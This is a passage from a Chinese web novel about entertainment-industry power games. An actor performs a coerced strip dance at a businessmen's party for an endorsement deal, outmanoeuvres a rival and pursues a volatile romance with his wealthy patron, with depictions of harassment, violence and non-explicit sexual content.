“这样啊,今晚严总有个酒局,他让我找两个懂事、漂亮的明星,你有空吗?”尤亿半点不避讳江林,她的确就是严峻在捧的艺人。 严峻也算是海圈资本。 “严总让您找的女孩儿吧。”江林笑了笑。 “这些你别管,女孩儿男孩儿只要让老板满意。”尤亿轻笑一声,似有不屑。 “好嘞,亿姐这么照顾我,我怎么会让你失望呢。”江林没想到尤亿真的还记得自己,也不拒绝她的好意,许是看到他最近的‘窘境’想要提拔提拔他。 江林便改变了计划,带着小庄和司机到了海市,他倒是没有盛装打扮,简单的毛衣和牛仔裤,露出未施粉黛的脸。 他的脸一向抗打。 小庄送江林到了指定的娱乐会所便和司机在地下车库默默等待,也不敢率先离开。他打开窗户看着江林独自走进旋转门的背影,挺拔的身子,有种孑孓而行的感觉,前面明明是金碧辉煌的大堂,江林从来都是孤注一掷的。 他的身后空无一人。 尤亿亲自来接的江林,她穿着一身华丽的鱼尾裙,闪烁的亮片像是波光粼粼的鱼尾,踩着七厘米的银色高跟鞋,画着精致漂亮的妆,眼神诧异地看了一眼江林简单的装扮,又恢复了笑容:“这么松弛?” “需要多隆重?我可不能抢了亿姐的风头。”江林笑得肆意,微微曲起手腕,尤亿顺势挽住他的手臂。 “你倒是抢枪看?”尤亿也是自信的扬眉。 两人不紧不慢的走近电梯,“下次一定。” 尤亿在江林耳畔低声说道:“这次来的人都是海圈或者海外赫赫有名的商业大佬,你别得罪人,该喝酒就喝,今天保底我给你拉个轻奢品牌的代言。” 江林点了点头,笑意散漫地看着她,“好,我知道的,亿姐大气。” “他们还在用餐你吃过了吗?”尤亿问了一嘴。 “没呢,最近在减肥。”江林说。 “那不行,喝酒哪能空腹喝,等会找空隙吃点东西,今天的夜还很长呢。”尤亿扯了扯他的手臂,在包厢门打开的瞬间,尤亿脸上的笑容灿烂了几倍,也更像虚假的面具了。 江林跟在他身后,二三十人中寥寥两个穿着工作装的女人,其他的都是男人,从年轻到秃顶老年年纪不等,他在这里面看见了一个熟悉的面孔——白宝戎。 两人都没有主动和对方打招呼,这些人都不太认识江林是谁,却知道他来干什么的。 江林想象的逼酒没有,想象的动手动脚也没有。现在那些人倒是真的装得像文质彬彬的禽兽。 “哦?你的作品寒假上?那快了,期待你的表现,有空我会看的。”某个中年大叔穿着满身的奢侈品,他和江林碰了碰杯,唇角带着礼貌的笑容。 江林也勾起晃眼的笑容,五官柔和了不少,像个温柔的少年人:“谢谢您的支持。” 白宝戎一直坐在距离他不远不近的距离,中间隔着三四个人,他的视线时不时扫过江林的脸,见他陪着那些老秃驴也聊得津津有味,心中隐隐不屑,心中又憋着一口气。 江林就是找那些老秃驴聊都不主动来找他。 白宝戎忍不住轻轻掷杯,在桌上发出轻响,脸色有些冷,坐在他右手边的青年一头金色耀眼的头发,五官有着外国人的立体,一双琥珀色的浅色瞳孔,他扫了一眼白宝戎,又顺着他的视线看了一眼笑得得体冷淡的江林。 “你认识那个白色毛衣的男生。”艾璟认真地说道,他是一个混血,长相不输明星的精致,但他不会成为明星,从小就在罗马长大的公子哥,不需要靠这些赚钱。 白宝戎没什么表情地说道:“不算很熟。” 艾璟哦了一声,将自己的视线从江林身上离开,他其实不喜欢酒桌文化,可是他回国没多久,最好是认识更多的人。 江林当然注意到了白宝戎旁边的人,艾璟是世界排名前三高奢品牌DL的二公子,母亲是东亚人,现在定居在国外,被国外媒体成为DL总裁最疼爱的‘皇后’。 艾璟现在就是东边大洲DL的执行总裁,年纪轻轻就拥有了数不清的财富。 江林游转一圈被画了无数的‘大饼’,期间他看着尤亿将肩膀的狐裘松下,露出莹白的肩膀头子被一个年纪稍大的男人握住,样貌还算板正,只是和鲜花一样的尤亿待在一起不太搭。 结束完用餐,一行人便有说有笑地朝着楼上走去,娱乐会所,偌大的赌桌,桌上放着红绿的筹码,穿着暴露的荷官姐姐。 上面的娱乐会所空间就显得更大了,有隐秘的私人小房间,也有光鲜亮丽的客厅餐桌,墙上的壁画精心雕琢,色彩艳丽。 江林的手机被工作人员收走了,身上的电子物品都被要求没收。 他是最后两个走进来的,四周看了一圈,朝着更里面走去。娱乐会场的人明显变多了,有些是这里的工作人员,还有一些是和江林尤亿一样的人。 江林又看见了熟人——徐旭。 就是卓智明剧中的局长,上次和江林干仗的那个。 他头发一丝不苟地梳着,穿着西装,保养姣好的面容,荡漾着儒雅温柔的笑,在看见江林时,他的唇角有瞬间的僵硬。 徐旭跟在一个年轻男人身后,亦步亦趋地跟着他进入了某个角落房间,十多分钟才出来。 江林和一位老板打台球,他动作娴熟,年纪小的时候曾经在大街小巷的台球厅和人打台球赚钱,他微微俯身趴在桌上,目光如炬,表情认真。 他明明穿得严严实实,但总有人想透过那些衣服看见他内里的性感。 白宝戎在他不远处盯着他,眼睁睁看着一个男人假意看球,手轻轻摸了摸他的臀,江林像是没感觉似的,朝着他笑了笑,半点不生气。 白宝戎舔了舔唇,突然发现了一个事实,江林就是一个来者不拒的婊子。 “听说你跳舞跳得很好?” 江林刚刚结束台球,正端着酒杯和旁边的人交谈,便听见身后有人叫他。 他偏头看过去,瞧见那个年轻的男人杜川和他身后衣领微乱的徐旭,他的眼神闪烁着看好戏的光芒。 “杜老板。”江林礼貌打招呼,“会一点。” “跳一个。”杜川表情有些倨傲,那双眼阴湿恶劣地看着他。 江林没有立刻答应或者拒绝,只是好脾气地道:“我跳得不好,别污了各位的眼睛。” 杜川轻蔑地看着他,他从旁边托盘上抓起一把钞票砸在江林脸上。 钱砸在脸上的感觉并不好受,割的脸有些尖锐的疼,江林依旧能保持淡淡的笑容,他不会砸了尤亿的场子,没有人会帮他,他们喜欢看这种捉弄人的把戏。 演员明星在他们眼中都是戏子,能够轻贱的角色。 “够不够?”杜川问他。 “不太够。”江林狮子大开口,他嘴角弧度越发深了些,那双眼明亮黑沉。 艾璟手上带着全球仅限三块的名表,端着一杯酒,倚在旁边静静看着,有点百无聊赖,像他这种从小生活在金字塔顶端的人,什么都不缺,有一种无欲无求的厌世感和冷漠感。 他看着被为难的少年镇定自若,提出自己的需求,真正的群狼环绕而无所畏惧。 “我要杜总品牌秋晏的代言。”江林这话一出,徐旭脸色顿时变了,秋晏是杜川公司旗下的男装,国民度挺高,现在是徐旭在代言。 杜川饶有兴趣地在徐旭和江林脸上转了转,最终看向江林,“你胃口挺大你也配这个钱?” “配不配的,智者见智,仁者见仁,杜总也不缺这点曝光和这点钱不是吗?”江林站在灯下,酒杯轻轻放在托盘上,手指修长,食指有一道浅浅的疤,并不明显。 他的话放在这里,跳舞可以,需要支付相应的报酬。 “OK,来吧,脱衣舞,跳得老子开心了,代言就是你的。”杜川只是轻轻看了一眼徐旭,片场嚣张跋扈的徐旭在此刻却不敢多说半个字。 江林没有拒绝,眼角眉梢染上轻佻又迷人的笑意:“这里没有音乐,我们去前面的歌厅,我包您满意。” 知道这边有乐子瞧,很多人闻讯赶来,艾璟和白宝戎也跟着去了。 江林打扮得清清爽爽、干干净净,半点看不出来是能跳艳舞的类型。 杜川露出一副顽劣的神情,性格恶劣喜欢捉弄人,否则也不会恶趣味喜欢两个孩子的爹。 歌厅有竖麦,长长的棍子被江林抬手摸了摸,放了一首熟悉的音乐,江林不会跳什么脱衣舞,但他不扭捏,总之不就是那几套? 江林唇角带着笑,视线并不羞涩,直勾勾扫过站在他面前盯着他的“恶狼”们,他不似处于下位者,眼神不带一丝感情和讨好。 在昏暗闪烁的灯光下,江林的白色毛衣被轻轻轻轻扯下,并未露出裸露的身体,只见他身上缠着白色的绷带。 那些差点流出口水的人,纷纷咽了下去,但看着那些缠绕腰身的绷带又越发兴奋了。 露出半截流畅的腰线,半边胸口露出冷白的肌肤,轮廓分明的胸肌虽然大半都被包裹在白色绷带下,却难掩其性感。 轮廓分明的身体半遮半掩间更让人有探寻的欲望。 徐旭脸色越发难看了,明明是一件折辱人格的事情,为什么江林会做得那么嚣张,倒像是他在看众人的笑话,看他们能露出多么恶心的神情。 江林半点不艳俗,身体的力量展现,深情的眼突然看向了某个青涩少年,他穿得很简单,身上没有任何的奢侈品。少年的眼神死死地盯着江林,却在他回看过来的时候,有些心虚的回避。 江林走到他跟前牵起他的手按在自己腰上,少年顿时僵住了身体,手按在那截有力的腰身上,掌心在发烫,心脏在咕噜咕噜煮着开水。 少年眼里心里这一瞬都想不到其他人,江林缓缓扯开一截白色绑带,带着少年的手摸进了他的肌肤,江林抬眼看着眼前比他稍矮一点的男生,没说话,眼睛却像是什么都说了。 少年摸到了紧致嫩滑的肌肤,手下的腰在有力地扭动着,顶跨扭腰之间,他感觉自己鼻腔热热的,心尖颤动。 江林有些惊讶地看着面红耳赤飙出鼻血的少年,唇角的笑意真切了些,眼眸越发明亮,放开了这个难得单纯的少年。 但男生的窘态并没有引起众人的嘲笑,反而隐隐觉得正常,杜川的眼神也有了一丝变化,眼锋刮过江林的身体,白绷带经过一扯变得松松垮垮,隐约可见其身材的健硕性感。 这样的猎豹驯服起来会更加让人兴奋。 江林视线似乎定在杜川身上,朝着他上前两步,杜川喉结滚动似在吞咽口水,下一秒手都已经抬起,想要触摸他的身体。 但江林却伸手抓住了站在他旁边艾璟的手腕,彼时他手中还端着一杯红酒。 艾璟的表情很平淡,面上也无任何变化,被江林那双桀骜冷峻又天生多情的眼看着,手腕被他温热的手掌握着,酒杯被举起,江林的吻落在他透明的酒杯上,落下一个并不明显的唇印。在他的目光下吻又缓缓落下,江林又在他手指上亲了亲。 艾璟睫毛微微扇动了一瞬,手指攥紧了,心跳错乱了半个节拍,白色的绷带微微垂吊,江林很快松开他的手,绷带飞舞。 站在艾璟身边的白宝戎没有得到江林任何的眼神,就连杜川他都分明看了两眼,唯独没有理会他,把他当陌生人就算了,更像是把他当成了透明人。 江林回到歌厅中心,在音乐停下的霎那,他站在圆形的聚光灯中间,朝着众人微微鞠躬。 他不像是在为讨好谄媚谁而表演,更像是他们齐聚为了欣赏他的演出。 江林的嘴凑近麦克风,低沉的声音流出:“谢谢大家的配合。” 随即,不由自主地掌声响起,杜川脸色不太好,却不好继续小肚鸡肠地为难江林。 江林跳舞不算专业,但配着表情就太抓人了。 比杜川脸色更不好的是徐旭。 江林套上自己的毛衣,等人渐渐散去才走到杜川身边,端起旁边的酒杯和他碰了碰杯,礼貌地一饮而尽,笑眯眯道:“您不会食言吧。” 杜川没什么表情地笑了笑:“不会。” “那就好。”江林从兜里掏出手机解锁,封面上的一家四口的照片刚好出现杜川眼前,但又只是一闪而过,“那我等杜总好消息,严总还在等我打球呢,我先告辞了。” 杜川脸色阴沉下来,回头看向徐旭,抓着他的领子,拖着他去了旁边的私密房间,徐旭吓得脸色惨白。 江林唇角的笑意冰冷,徐旭敢算计他,总要有会失去某些东西的觉悟。 艾璟微微垂下眼,看着自己被亲吻的手指。 江林除了这一难,倒也没有遇见其他龌龊恶心事儿,相反因为刚刚的表现让不少人青睐,还给了他名片,许诺有合适的机会就和他合作。 江林喝了不少酒,跑了两趟厕所,正在用洗手液洗手,隔间走出来的男人脸色黑沉,眼带怒火:“江遂,你在装什么陌生人?” 这人除了被气了一晚上的白宝戎还能有谁。 江林这才正眼看他,挂上职业假笑:“原来是白少啊,好久不见。” 他像是才发现白宝戎也在这儿。 白宝戎被气笑了,第一次见出来卖得比嫖客还假清高的。 “你这是来这里物色新金主?” “差不多吧。”江林冲洗手上的泡沫。 “杜川可不是什么好人,艾璟你更是别想,人家可看不上你。”白宝戎用轻蔑的语气说着,因为江林一晚上的忽略憋了一肚子气。 “嗯,就你这样的看得上我这种烂货,这样说白少满意了吗?”江林可有可无地轻笑一声。 白宝戎满意个屁,他更气了。 “你真不识好歹!”白宝戎抓住他的衣领,对上他的眼睛,眼神凶冽。 “毛衣这么抓着会变形的。”江林抓着他的手腕提醒他。 “你你这个时候还在关心毛衣会变形?”白宝戎瞪大了眼睛,表情愤愤。 江林眼睛弯了弯,好笑地看着他:“不然关心什么?关心白少的气血旺不旺吗?” “白少你太抠门了,赔钱买卖我真的不愿意做啊。” “我怎么抠门了?你没当上明若卿的男主角吗?我明明看见他官宣的男主角是你,是你翻脸不认人吧?”白宝戎受不了这种污蔑,他上次关注到江林明明就是明若卿剧里的男主。 江林眼神有些古怪,“啧,你装傻还是真傻呢,我一开始进去是男n号好不好,男主角是靠我自己争取过来的。” 白宝戎拧眉,表情有些不敢相信。 江林凑到白宝戎脸前,双眼灼灼带玩味地笑:“白少太没面子,所以没想法,卖不动了。” 他说完,便转身离开,白宝戎从身后抓住他的手腕,这话臊得白宝戎脸色难看,“我补给你还不行?” 江林顺利的停住了脚步,转身看着白宝戎顿时换了一副嘴脸,挑眉问:“真的?” 白宝戎没好气地瞪他,“真的,你想要什么?” “什么都能要?”江林似乎准备狮子大开口。 “我现下给得了的。”白宝戎娱乐圈的公司发展不算久,业务不少,但和顶端娱乐公司相比还是有一定区别。 江林将人拽进厕所隔间,捏着他的下巴,熟练地在他唇上亲了亲,白宝戎虽然面色不虞,却没有拒绝,甚至追上去想要接着吻。 “隆辰科技公司的品牌代言,给我多一点代言费” 隆辰科技公司算是隆辰集团旗下非常厉害的子公司,最近几年势头很猛,其中几项技术是全世界领先的水平,被国家征用的。 但白宝戎却有些犹豫,毕竟之前隆辰科技从没有请过什么代言人,且代言人一定程度上代表了他们公司的形象,如果江林塌房,品牌也会受到冲击。 “行,算了。”江林也不纠缠。 白宝戎抓着他的胳膊,眼神不善地盯着他,不让他走:“你少给我闹,隆辰科技品牌代言人不是闹着玩的,对娱乐圈没有什么影响力” “你就是觉得我形象不好,影响你们公司的形象,别找这些冠冕堂皇的借口好吗?”江林戳穿他的借口。 “行,我给你。”白宝戎紧紧抓着他的手臂,望着那张英俊性感的脸,脑海中是那个羞涩少年鼻血猛喷的样子,“你得保证你不会犯法,爱惜羽毛” “我当然爱惜羽毛,我是靠粉丝吃饭的啊,白少。”江林漫不经心扯起唇角笑了笑,低声说:“我算是给你优惠了,等我成为大明星就一脚踹掉你们公司的代言。” 白宝戎又无语又好笑,按住他的脖子,贴出他的唇瓣,轻轻咬了咬:“没见过你这么没良心的白眼狼。” “哼,我也没见过你这么没面子的金主。”江林反击道。 “我真不知道,我以为明若童能办好,但是” “哦。” “操,老子不解释了,来,专心亲嘴。” 狭窄的空间,进进出出的人,两人互相摩挲亲吻,白宝戎手从江林衣摆下探入,手指按在他腹肌上,肌肤贴着肌肤,他不满足,一直在揉着。 白宝戎松开江林,望着他那微微泛红的唇,气息不稳地问出一句:“为什么选那毛都没长齐的小子一起跳舞?” “不然选你吗?”江林舒了一口气,眉眼间带着坏,故意埋汰他:“没面子啊,白少。” “靠,这件事你是不是要说上一辈子?”白宝戎手还放在江林腰上,火气已经消散大半。 “等你这次让我满意,我就闭嘴了。”江林倒是拿上姿态了,金主倒成讨好的那一位。 “这次保证办好成不?”白宝戎没忍住,又凑到他唇边舔了舔,轻声说:“吻技增长不少,最近没少跟人亲吧?” “嘴长在我身上,您还管上了?”江林怼道,是一派渣男浪子的姿态,贴着他的唇吻了吻:“现在再亲你不就得了。” 白宝戎咬牙没说话,扯着他的衣领,盯着他的眼睛:“今晚来找我?” 江林垂了垂眼没立刻答应,整个人都懒懒散散的,像是提不起什么精神。 “来签合约!” 江林便笑了,眼睛弯弯,摸了摸他的脸,“保证到。” /// 江林等人都散得差不多,他还留在会所。 徐旭打开门走出来,低着头,准备快步离开,但眼前有人挡住了他的去路,他不得不抬起眼去看这人是谁。 江林站在他跟前,徐旭那张脸被扇肿了,嘴角更是撕裂流血,甚至凌乱白色衬衣下也有血,是烟头烫烂肩膀沁出的血迹,他的衣服还算完整。 徐旭眼底迸射出愤怒和恨意,嘴唇都因为情绪激动在颤抖,他一言不发却捏紧了拳头。 江林不是来看他的惨状的,他眼神有些怜悯地看着他,一把年纪还要被人这么磋磨,他压低了声音在他耳边说道:“你觉得害你成这样的人真的是我吗?” “你该恨的人应该是我吗?” 徐旭咬牙忍着疼痛,双眼却蓄了些泪水。 “那些人真的有把我们当人看吗?徐老师。”江林轻叹一声,“我突然觉得很悲哀,我似乎从你身上看见了我的未来,难道我四五十岁还要继续做着低人一等、被人作贱的事情吗?突然就觉得现在努力毫无意义啊。” 徐旭脸颊上滑过眼泪,眼底的恨意突然变成了悲哀。 “但我仔细想了想,我不会成为你。”江林直起身,抬手整理他的衣襟,脸上有丝丝自信。 他对徐旭说的最后一句话是:“我从来没想过和您成为敌人,我们的敌人从来不是彼此,而是他们。” 徐旭弓着腰,看着江林逐渐消失在眼前的背影,挺拔的背影犹如青竹般,他虽然身在淤泥中却自是一股清流。他为什么不喜欢江林,大概也是觉得羡慕吧。 那弓着的背停止一瞬,又不知道被什么力量压弯了。 他接到了妻子的电话,她正在车库等他。 他原本报复江林的心思突然就歇了。 这些都不是他该考虑的事情。 江林乘坐电梯的时候,恰好看见艾璟往电梯走来,他伸手按住开门键,等着他进来。 艾璟金发晃眼,他走进电梯,跟江林道谢。 江林微笑说没关系。 十几秒保持着沉默,江林快到了才开口:“今天谢谢您配合我的演出。” 艾璟这才将平静又冷淡的目光放在他身上,摊开手心,掌心躺着一颗纽扣,“这是什么意思?” 这是江林亲吻他手指的时候塞进去的。 江林拿起那颗纽扣,对上艾璟的眼神,坦荡又清澈的眼笑了笑,“没什么意思,不小心落下的。” 艾璟不太信。 第85章 阴影下的地下车库, 杜川坐在车内,看着江林从电梯出来上车,他给司机使了一个眼色。 杜川难得对这么年轻的男人有兴趣, 他从前喜欢都是那些年纪较大,浑身有阅历有沉淀的男人, 将他们的风度和风骨粉碎,变成欲望的猪狗,能满足他的变态心理。 江林也让他很喜欢, 他喜欢有挑战性的人。 黑色商务车在出车库前,被突然从黑暗中横冲而出的豪车截住了去路, 司机紧急刹车,江林脑袋差点撞到,还好系了安全带。而旁边不守规矩的白宝戎却没办法幸免,直接撞到了额头。 白宝戎虽然欲盖弥彰地提前离开,却没有直接坐车离开,而是在江林车上等他一起。 江林坐着没动, 车窗被敲响, 杜川身后跟着五六个彪形大汉, 手上都拿着棍棒,把车团团围住, 气势汹汹。 杜川不耐烦地又重重敲了几下, 整张脸呈现一种戾气很重很凶狠的表情,江林缓缓降下车窗,露出完美的侧脸。 “下车。”杜川下达命令。 江林坐着没动, 偏头看向旁边的杜川,礼貌地微笑:“杜总代言合约事宜您可以直接找我的经纪人” “你是不是听不懂人话,我叫你下车。”杜川手伸进车窗, 就要把车门打开,语气不善:“你不想死就乖乖听话” “啧,杜川老子是不是给你脸了?”白宝戎的嗓音比他还乖戾几分,捂着额头的手放下,阴影中的脸冷峻阴鸷。 杜川这才发现车里还坐着个人,听这声有些熟悉,他不确定地看去,就见白宝戎阴沉得像是罗刹似的黑脸。 “宝哥?”杜川脸上的盛气凌人顷刻间像是被人当头一棒,眼神都变得清澈了。 这种混蛋遇见比他更加混的人,就怂了。 “你想干什么?”白宝戎冷笑一声:“又想挨揍是吧?” 杜川之所以怕白宝戎,从前被他狠狠教训过,现在嘴里那颗补的牙齿就是被白宝戎用虎牙钳拔下来的。 “宝哥,你早说他是你的人啊,我也不敢得罪了。”杜川的手从车内推开,唇角露出点笑,往后退了两步,让手下的人也退开,笑着说道:“哥玩得开心。” 江林靠在车座上,只是斜眼冷冷瞅了他一眼,车窗缓缓升起,他的脸消失在杜川眼前,车驶去车库。 杜川脸色沉下来,望着那块车牌,牙都要咬碎了。 “宝哥,面子挺大。”江林回眸,吊儿郎当哼笑一声。 白宝戎还在揉着他被撞到的脑袋,语气不满:“他就是脑子有毛病,嘶,纯纯神经病” 江林哎呦两声:“宝哥脑袋撞到啦,疼不疼啊,要不要我给您揉揉啊。” 他这阴阳怪气的话白宝戎听不出来才怪,却被气笑了,抬手锤了下他的肩膀:“你不阴阳怪气会死啊?” 江林整理了一下那些表演道具绷带条,“再不系好安全带另外一边再撞个包就老实了。” 白宝戎这才不情不愿地系安全带。 白宝戎虽然这些年沉淀了些上流社会的倨傲和认知,更加会伪装深沉,在杜川这类浑人面前却比他更浑,在老爷子面前装得像个合格的矜贵公子哥。 但他骨子里东西是没有变的,他是吃过苦的,从最顶层爬上来,他觉得江林身上某些气质和他很像,一起插科打诨,互怼互骂让他一点也不介意,有一种找到同类兄弟的感觉。 若是其他人这样,以他的脾气早就把人整死了。 “你早有准备,知道今天要跳脱衣舞?”白宝戎看着他的白色绷带,语气不明地说道。 “这很好猜吧,而且只是多一手准备而已。”江林将绷带的结解开,全部解开后,扔进车内的垃圾桶里。 白宝戎盯了盯垃圾桶,又问:“今天如果我没在车上,你准备怎么逃出杜川的魔爪。” 江林从旁边取出薄荷糖含在嘴里,让有些混涨的脑袋清醒些,他随意地说:“他所求无非是性,满足他不就好了。” 这话说得白宝戎就不太爱听了,夸张地说道:“你知道多少人在他床上被玩进医院吗?想第二天醒来上八卦头条是吧。” “哦。”江林勾唇笑了笑:“那我找另外的好哥哥救救我。” “我好哥哥很多的。” 白宝戎感觉自己地位受到了挑衅,“你觉得我不会真生气是吧?” “好吧,是我不对,不应该说这些。”江林毫无歉意的道歉,倒像是白宝戎无理取闹,他大度妥协,不准备再继续刺激白宝戎。 白宝戎没再说话,又在独自生气。 虽然他知道以江林的狡猾和能力独自应对一个杜川大概游刃有余,但还是想听江林说会求助他的话。 江林会说才怪。 江林闭目养神,几个月没沾酒,今天喝太多,胃又有些烧得疼。 江林回到白宝戎落脚的住处,车停下,他刚好醒来,刚刚睡着了,小庄和司机自己在旁边找酒店住下。 白宝戎家中房产很多,这处算是住得比较勤的,江林从他医疗箱中找到胃药吃下。 白宝戎瞧见他的动作,看清楚他手上药的名称,挑了挑眉:“你胃疼啊?喝不了干嘛喝那么多?” “难道我有资格拒绝吗?”江林唇角扯动,轻笑一声,脸上并没有卖惨的神情。 “”白宝戎才发现这话他说得有些想当然了,他曾经也有过很多身不由己的情况。 白宝戎拧眉:“要不要给你叫医生?” “没事,已经没什么感觉了。”江林收拾好医疗箱,双眼黑亮专注,看得白宝戎心痒,走到他身边,凑到他唇边亲了亲。 江林垂了垂睫毛,其实他的欲望并不算强烈,但也有男人的基本需求,上次他的宣泄还是和明若卿在剧组,已经有快一年的时间了。 他不会自己主动解决,也不会因为欲望而做出任何出格的事儿,只是顺其自然,其实三月前和叶成哲他是做好准备了的。 但没想到叶成哲是个找虐的,他不想配合他的变态,所以又搁置了。 “嗯” 两人唇舌默契地互相舔吮着,白宝戎抓着他的肩膀,用力拥抱着江林,想要将人勒进身体里,正常男人的力量展现和主动权的争抢。 分毫不让的雄性,势均力敌的强悍,直到江林卡着他的喉咙,眸中冷静又漆黑,但白宝戎双眼通红,欲念澎湃。 “你先去洗洗。”江林按了按他的喉结,语气沙哑。 说完,江林便毫不犹豫地起身,从兜里掏出烟,走出了客厅。 白宝戎喘着粗气,一双眼死死地盯着男人的背影,心跳声紊乱无序,他又想到了两人第一次的时候,江林也是这样,像是抽离在欲望之外,随时可以叫停,而他像是热锅上的蚂蚁,被他把玩在股掌之中。 他愣了愣,表情冷下来,江林就算是欲望都是冷淡的,他看着热烈服从,实则冷漠又桀骜。 江林站在露台抽烟,旁边是碧蓝的泳池,天气转凉,夜风拂面。他扔掉烟头,蹲下身掬起一捧水,察觉到水中的凉意,他却生出一种想要跳入水中的冲动。 他在更衣室找到了一次性的泳裤。 等白宝戎从浴室出来,在客厅没有找到江林的人。一转眼才发现从泳池中露出一个黑脑袋,湿发遮住江林的眼睛,他抬手撩起额前的刘海,露出白洁的额头,骨相俊朗,眉眼浓淡相宜。 他脸上全是水,越发显得那张脸干净好看。 “怎么在游泳,不冷吗?”白宝戎裹着浴袍,站在泳池边,视线从江林身上移不开。他游泳的姿势很标准,身上的曲线在水下展露无遗,身材极好。 “还行,蛮爽的。”江林意犹未尽,掏了掏耳朵,嘴唇湿润殷红。 白宝戎没忍住,也跳入泳池中,浴袍被他扔在原地,他里面没穿,刚入水就冷得一哆嗦,“我操!这他妈的好冷啊” 江林见他脸都冻扭曲了,脸上出现一点鲜活的神色和得逞的笑容,水堪堪漫过他的胸口,“来比一场吗?” 白宝戎搓了搓自己的胳膊,牙齿都在打颤,他问:“怎么比?有奖励惩罚吗?” “一个来回,看谁快。”江林往白宝戎脸上拍打了一些水花。 白宝戎眯眼睛,骂道:“你幼不幼稚啊,江遂。” “来来来,比,你输了今晚让我干。” “那我赢了呢?”江林擦了擦脸上的水。 “你说呗。”白宝戎游到江林身边,想伸手去够江林,却被他躲开。 “我赢了,今晚什么都不干。”江林眯着眼笑。 白宝戎心不甘情不愿地答应。 两人中间隔了两米距离,随着江林一声开始,一齐钻入水中,两人在水下的身影迅速窜出,在水下憋着气想要游得更远,一个往返,江林率先返回原点。 白宝戎从水中冒出头,就看见江林已经率先到达终点,他顿时脸色都不好了,沉着一张脸。 “愿赌服输噢,白少。”江林愉快笑道,微微扬起下巴,眼角眉梢是胜利者的少年意气。 白宝戎顿了顿,无赖地说道:“我耍赖又怎么样,我没热身很好。” “这是我家,这是我地盘,我说了算。” 江林似乎并不意外他的言而无信,只是靠在泳池边静静看着他,白宝戎朝着他靠近,唇角带着笑:“这些都是小孩子把戏,开个玩笑而已” 江林却直接伸手推开他,原本漫不经心的脸极为缓慢地冷下来,水波荡漾,他推开白宝戎的动作很大,水花溅到了岸上。 “不是,没必要这么认真吧,江遂?”白宝戎也不生气,毕竟是他耍赖在先,江林闹闹脾气也是应该的。 他再次靠近,江林依旧是毫不犹豫地推开,手不小心扇到了他的脸。 白宝戎依旧忍着,第三次朝着他靠近,江林这次没有把人推开,任由他凑近,在白宝戎脸色一松时,下一瞬,他的口鼻都被池水淹没。 江林冷着脸把他的脑袋按进了池子里,手还牵制着白宝戎挣扎的手臂,他的剧烈挣扎,让水池发出咕噜噜的声音以及拍打水面的清脆声。 持续了不知道多久,江林在他坚持不住的时候,扯着他的头发将人从水中提起来,白宝戎还未来得及发作,大口喘着气,胸腔内的氧气被压缩到了极致。 他正想破口大骂,但江林却吻住了他的嘴唇。 江林按着他湿漉漉的脑袋,白宝戎挣扎的动作瞬间变小了,睁着一双被水浸泡得通红的眼睛,没有任何犹豫地用力回吻他,呼吸急促,像是急不可耐地汲取对方口中的空气。 双方都是湿软的唇,互相感受着对方身上的温度,居然在冷水中感觉身体热了起来。 白宝戎大力抱着江林的身体,在感觉到窒息的绝望后,他下意识地抱着眼前的人,防止自己再次被摁下水。 “靠,我以为你真的要杀了我”白宝戎此刻脑袋都处于缺氧状态,因为缺氧手脚都是麻的,所以并不知道自己现在抓着江林胳膊的手有多用力。 江林弯了弯眸,睫毛被打湿后,更加显得纤长卷翘,衬得那双眼越发深邃:“刚刚是输了的惩罚。” 白宝戎盯着他的脸,有很多骂人的话想说,却在对视间什么都说不出口,喉结滚了滚,凑得近些,湿漉漉的呼吸都在彼此之间交缠,传递着温度。 “你怎么这么能勾引人呢?” 江林看着白宝戎像是被引诱般,脸上上一秒还戾气横生,下一秒又被吸引只剩下痴迷。 呛水的滋味不好受,口鼻都火辣辣地难受,但白宝戎一点也不生气,捧着他的脸,盯着他的眼睛。 江林只是将视线轻轻落在他身上,他就乱了呼吸。 白宝戎呼吸凌乱间吮了吮他的唇瓣:“你他妈长在我心坎了,江遂。” “嗯。”江林不甚在意地应道。 “下次别下手这么狠,给我一点喘息的机会。”白宝戎含着江林的嘴唇,含糊的呢喃,低低的祈求般。 “下次白少愿赌服输就好。”江林这么回答,呼吸都未乱半分,姿态游刃有余 蒋红因为江林昨晚的短信,带着公司的法务乘坐最早的航班赶来海市,这沉寂了好几个月的江林终于让她看到了新的转机。 “红姐他们能进来你这儿吗?”江林穿着白宝戎的新睡衣,屋内开着暖气不觉得冷,白宝戎给他端了一杯刚磨好的咖啡。 “可以,我打个电话。”白宝戎品了品咖啡,随后开口问道:“这几天没什么工作吧?留在这待几天,正好我也有空。” “随便。”江林懒懒散散的神情,他无所谓地说道。 蒋红是第一次见到白宝戎,又瞧了一眼困倦靠在沙发上的少年,白宝戎主动和她握了握手,“当江遂的经纪人很累吧。” 蒋红笑着说:“没有啦,江遂不太用我操心” 白宝戎狭长的凤眼挑眉,“像他这样的人很难伺候吧,挑剔这个挑剔那个的,我” 他话没说完,江林给了他一脚。 这一脚差点没把蒋红的心脏踹出来,生怕江林把自己的财神爷踹走了。 白宝戎身形不稳,差点摔倒,转头难以置信地瞪着江林,江林朝他竖了竖中指,口出狂言:“不会说话就把嘴巴闭上,一把年纪还告状?” 白宝戎气笑了,抓住他的手指,用手肘怼了一下江林,“到底谁才是金主,你的谱儿比我还大?” 蒋红只能来打圆场:“哎呀,江林年纪小不懂事,白少可千万不要介意啊,他就是个口无遮拦的个性。” 白宝戎抓着他的手没松,心中轻哼一声,年纪小,别的可不小。 “等我公司法务过来谈吧。”白宝戎拽着江林的胳膊起身。 江林靠在沙发上没动,掀起眼皮看着他,不为所动。 “江遂!”白宝戎语气有些警告的意味,江林才慢吞吞地起身和他进了书房。 蒋红和公司法务面面相觑,眼珠乱转,每个人都是八百个心眼子。 书房的门缓缓关上。 “江遂你胆子太大了,你刚刚敢踹我?”白宝戎逼近江林,将人逼至墙前,眼神危险地看着他。 江林歪歪扭扭地站着,有些困困的,“你伺候过我吗,就说我难伺候” 白宝戎轻哼一声,“我没伺候你?昨晚是谁这个姿势不行,那个姿势不行,你就动了一张嘴巴,其他的都是老子在动” 江林笑了:“这也算啊?” “这还不算?” 江林撇嘴,“那行吧。” 白宝戎抓着他亲了亲,很快松开,走到书桌前,打开里面的抽屉,拿出了一个四四方方的蓝色丝绒的盒子,他抬手递过去:“给你。” 江林接过来,没打开:“这是什么?” “蓝宝石项链。”白宝戎回答的同时抓住江林的左手,将搁置在桌上的手表扣在江林手腕上。 这块表是白宝戎最喜欢的了。 “原本不是送给我的吧?”江林似笑非笑地看着他。 “你管呢,到你手上就是你的。”白宝戎说。 